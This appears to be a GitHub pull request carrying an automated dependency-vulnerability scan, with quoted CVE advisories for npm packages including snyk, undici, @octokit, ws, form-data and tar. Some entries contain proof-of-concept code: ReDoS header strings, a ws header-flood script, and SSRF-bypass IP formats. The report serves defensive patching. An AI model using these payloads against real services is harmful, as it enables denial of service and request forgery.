Vuln packages #5
Conversation
|
📗 Scan Summary
📦 Vulnerable Dependencies
🔖 Details[ CVE-2025-6624 ] snyk 1.995.0Vulnerability Details
Versions of the package snyk before 1.1297.3 are vulnerable to Insertion of Sensitive Information into Log File through local Snyk CLI debug logs. Container Registry credentials provided via environment variables or command line arguments can be exposed when executing Snyk CLI in DEBUG or DEBUG/TRACE mode. The issue affects the following Snyk commands:
[ CVE-2022-40764 ] snyk 1.995.0Vulnerability Details
Snyk CLI before 1.996.0 allows arbitrary command execution, affecting Snyk IDE plugins and the snyk npm package. Exploitation could follow from the common practice of viewing untrusted files in the Visual Studio Code editor, for example. The original demonstration was with shell metacharacters in the vendor.json ignore field, affecting snyk-go-plugin before 1.19.1. This affects, for example, the Snyk TeamCity plugin (which does not update automatically) before 20220930.142957. [ CVE-2022-24441 ] snyk 1.995.0Vulnerability Details
The package snyk before 1.1064.0 are vulnerable to Code Injection when analyzing a project. An attacker who can convince a user to scan a malicious project can include commands in a build file such as build.gradle or gradle-wrapper.jar, which will be executed with the privileges of the application. This vulnerability may be triggered when running the the CLI tool directly, or when running a scan with one of the IDE plugins that invoke the Snyk CLI. Successful exploitation of this issue would likely require some level of social engineering - to coerce an untrusted project to be downloaded and analyzed via the Snyk CLI or opened in an IDE where a Snyk IDE plugin is installed and enabled. Additionally, if the IDE has a Trust feature then the target folder must be marked as ‘trusted’ in order to be vulnerable. NOTE: This issue is independent of the one reported in CVE-2022-40764, and upgrading to a fixed version for this addresses that issue as well. The affected IDE plugins and versions are: - VS Code - Affected: <=1.8.0, Fixed: 1.9.0 - IntelliJ - Affected: <=2.4.47, Fixed: 2.4.48 - Visual Studio - Affected: <=1.1.30, Fixed: 1.1.31 - Eclipse - Affected: <=v20221115.132308, Fixed: All subsequent versions - Language Server - Affected: <=v20221109.114426, Fixed: All subsequent versions [ CVE-2025-27789 ] @babel/helpers 7.23.8Vulnerability Details
ImpactWhen using Babel to compile regular expression named capturing groups, Babel will generate a polyfill for the Your generated code is vulnerable if all the following conditions are true:
If you are using
You can verify what transforms PatchesThis problem has been fixed in Please note that just updating your Babel dependencies is not enough: you will also need to re-compile your code. WorkaroundsIf you are passing user-provided strings as the second argument of ReferencesThis vulnerability was reported and fixed in babel/babel#17173. [ CVE-2025-27789 ] @babel/helpers 7.23.6Vulnerability Details
ImpactWhen using Babel to compile regular expression named capturing groups, Babel will generate a polyfill for the Your generated code is vulnerable if all the following conditions are true:
If you are using
You can verify what transforms PatchesThis problem has been fixed in Please note that just updating your Babel dependencies is not enough: you will also need to re-compile your code. WorkaroundsIf you are passing user-provided strings as the second argument of ReferencesThis vulnerability was reported and fixed in babel/babel#17173. [ CVE-2025-25290 ] @octokit/request 6.2.8Vulnerability Details
SummaryThe regular expression DetailsThe vulnerability resides in the regular expression fakeHeaders.set("link", "<".repeat(100000) + ">");
fakeHeaders.set("deprecation", "true");The crafted const matches = responseHeaders.link && responseHeaders.link.match(/<([^>]+)>; rel="deprecation"/);In this scenario, the PoC
import { request } from "@octokit/request";
const originalFetch = globalThis.fetch;
globalThis.fetch = async (url, options) => {
const response = await originalFetch(url, options);
const fakeHeaders = new Headers(response.headers);
fakeHeaders.set("link", "<".repeat(100000) + ">");
fakeHeaders.set("deprecation", "true");
return new Response(response.body, {
status: response.status,
statusText: response.statusText,
headers: fakeHeaders
});
};
request("GET /repos/octocat/hello-world")
.then(response => {
// console.log("[+] Response received:", response);
})
.catch(error => {
// console.error("[-] Error:", error);
});
// globalThis.fetch = originalFetch;ImpactThis is a Denial of Service (DoS) vulnerability caused by a ReDoS (Regular Expression Denial of Service) flaw. The vulnerability allows an attacker to craft a malicious
[ CVE-2025-25289 ] @octokit/request-error 3.0.3Vulnerability Details
SummaryA Regular Expression Denial of Service (ReDoS) vulnerability exists in the processing of HTTP request headers. By sending an authorization header containing an excessively long sequence of spaces followed by a newline and "@", an attacker can exploit inefficient regular expression processing, leading to excessive resource consumption. This can significantly degrade server performance or cause a denial-of-service (DoS) condition, impacting availability. DetailsThe issue occurs at line 52 of iterator.ts in the @octokit/request-error repository. authorization: options.request.headers.authorization.replace(
/ .*$/,
" [REDACTED]"
)The regular expression headers: {
authorization: "" + " ".repeat(100000) + "\n@",
}Due to the way JavaScript's regular expression engine backtracks while attempting to match the space followed by arbitrary characters, this input can cause excessive CPU usage, significantly slowing down or even freezing the server. This leads to a denial-of-service condition, impacting availability. PoC
import { RequestError } from "@octokit/request-error";
const error = new RequestError("Oops", 500, {
request: {
method: "POST",
url: "https://api.github.com/foo",
body: {
bar: "baz",
},
headers: {
authorization: ""+" ".repeat(100000)+"\n@",
},
},
response: {
status: 500,
url: "https://api.github.com/foo",
headers: {
"x-github-request-id": "1:2:3:4",
},
data: {
foo: "bar",
},
},
});ImpactVulnerability Type & Impact:This is a Who is Impacted?
[ CVE-2025-25288 ] @octokit/plugin-paginate-rest 6.1.2Vulnerability Details
SummaryFor the npm package DetailsThe issue occurs at line 39 of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows: url = ((normalizedResponse.headers.link || "").match(
/<([^>]+)>;\s*rel="next"/,
) || [])[1];The regular expression PoC
import { Octokit } from "@octokit/core";
import { paginateRest } from "@octokit/plugin-paginate-rest";
const MyOctokit = Octokit.plugin(paginateRest);
const octokit = new MyOctokit({
auth: "your-github-token",
});
// Intercept the request to inject a malicious 'link' header for ReDoS
octokit.hook.wrap("request", async (request, options) => {
const maliciousLinkHeader = "" + "<".repeat(100000) + ">"; // attack string
return {
data: [],
headers: {
link: maliciousLinkHeader, // Inject malicious 'link' header
},
};
});
// Trigger the ReDoS attack by paginating through GitHub issues
(async () => {
try {
for await (const normalizedResponse of octokit.paginate.iterator(
"GET /repos/{owner}/{repo}/issues", { owner: "DayShift", repo: "ReDos", per_page: 100 }
)) {
console.log({ normalizedResponse });
}
} catch (error) {
console.error("Error encountered:", error);
}
})();
ImpactWhat kind of vulnerability is it?This is a Regular Expression Denial of Service (ReDoS) vulnerability, which occurs due to excessive backtracking in the regex pattern: /<([^>]+)>;\s*rel="next"/When processing a specially crafted Who is impacted?
[ CVE-2025-22150 ] undici 5.28.2Vulnerability Details
ImpactUndici If there is a mechanism in an app that sends multipart requests to an attacker-controlled website, they can use this to leak the necessary values. Therefore, An attacker can tamper with the requests going to the backend APIs if certain conditions are met. PatchesThis is fixed in 5.28.5; 6.21.1; 7.2.3. WorkaroundsDo not issue multipart requests to attacker controlled servers. References[ CVE-2024-30260 ] undici 5.28.2Vulnerability Details
Undici is an HTTP/1.1 client, written from scratch for Node.js. Undici cleared Authorization and Proxy-Authorization headers for [ CVE-2024-24758 ] undici 5.28.2Vulnerability Details
Undici is an HTTP/1.1 client, written from scratch for Node.js. Undici already cleared Authorization headers on cross-origin redirects, but did not clear [ CVE-2022-22984 ] snyk 1.995.0Vulnerability Details
The package snyk before 1.1064.0; the package snyk-mvn-plugin before 2.31.3; the package snyk-gradle-plugin before 3.24.5; the package @snyk/snyk-cocoapods-plugin before 2.5.3; the package snyk-sbt-plugin before 2.16.2; the package snyk-python-plugin before 1.24.2; the package snyk-docker-plugin before 5.6.5; the package @snyk/snyk-hex-plugin before 1.1.6 are vulnerable to Command Injection due to an incomplete fix for CVE-2022-40764. A successful exploit allows attackers to run arbitrary commands on the host system where the Snyk CLI is installed by passing in crafted command line flags. In order to exploit this vulnerability, a user would have to execute the snyk test command on untrusted files. In most cases, an attacker positioned to control the command line arguments to the Snyk CLI would already be positioned to execute arbitrary commands. However, this could be abused in specific scenarios, such as continuous integration pipelines, where developers can control the arguments passed to the Snyk CLI to leverage this component as part of a wider attack against an integration/build pipeline. This issue has been addressed in the latest Snyk Docker images available at https://hub.docker.com/r/snyk/snyk as of 2022-11-29. Images downloaded and built prior to that date should be updated. The issue has also been addressed in the Snyk TeamCity CI/CD plugin as of version v20221130.093605. [ CVE-2025-5889 ] brace-expansion 1.1.11Vulnerability Details
A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is [ CVE-2025-5889 ] brace-expansion 2.0.1Vulnerability Details
A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is [ CVE-2025-47279 ] undici 5.28.2Vulnerability Details
ImpactApplications that use undici to implement a webhook-like system are vulnerable. If the attacker set up a server with an invalid certificate, and they can force the application to call the webhook repeatedly, then they can cause a memory leak. PatchesThis has been patched in nodejs/undici#4088. WorkaroundsIf a webhook fails, avoid keep calling it repeatedly. ReferencesReported as: nodejs/undici#3895 [ CVE-2024-30261 ] undici 5.28.2Vulnerability Details
Undici is an HTTP/1.1 client, written from scratch for Node.js. An attacker can alter the [ CVE-2025-7783 ] form-data 4.0.0Vulnerability Details
Summaryform-data uses
Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request. This is largely the same vulnerability as was recently found in DetailsThe culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347 An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a PoCPoC here: https://github.com/benweissmann/CVE-2025-7783-poc Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID). ImpactFor an application to be vulnerable, it must:
If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems. [ CVE-2023-42282 ] ip 2.0.0Vulnerability Details
The [ CVE-2024-4068 ] braces 3.0.2Vulnerability Details
The NPM package [ CVE-2024-37890 ] ws 8.16.0Vulnerability Details
ImpactA request with a number of headers exceeding the Proof of conceptconst http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});PatchesThe vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6) WorkaroundsIn vulnerable versions of ws, the issue can be mitigated in the following ways:
CreditsThe vulnerability was reported by Ryan LaPointe in websockets/ws#2230. References
[ CVE-2024-37890 ] ws 7.5.9Vulnerability Details
ImpactA request with a number of headers exceeding the Proof of conceptconst http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});PatchesThe vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6) WorkaroundsIn vulnerable versions of ws, the issue can be mitigated in the following ways:
CreditsThe vulnerability was reported by Ryan LaPointe in websockets/ws#2230. References
[ CVE-2024-29415 ] ip 2.0.0Vulnerability Details
The ip package through 2.0.1 for Node.js might allow SSRF because some IP addresses (such as 127.1, 01200034567, 012.1.2.3, 000:0:0000::01, and ::fFFf:127.0.0.1) are improperly categorized as globally routable via isPublic. NOTE: this issue exists because of an incomplete fix for CVE-2023-42282. [ CVE-2024-28863 ] tar 6.2.0Vulnerability Details
Description:During some analysis today on npm's Steps To Reproduce:You can reproduce this issue by downloading the tar file I provided in the resources and using node-tar to extract it, you should get the same behavior as the video Proof Of Concept:Here's a video show-casing the exploit: ImpactDenial of service by crashing the nodejs client when attempting to parse a tar archive, make it run out of heap memory and consuming server CPU and memory resources Report resourcesNoteThis report was originally reported to GitHub bug bounty program, they asked me to report it to you a month ago |
No description provided.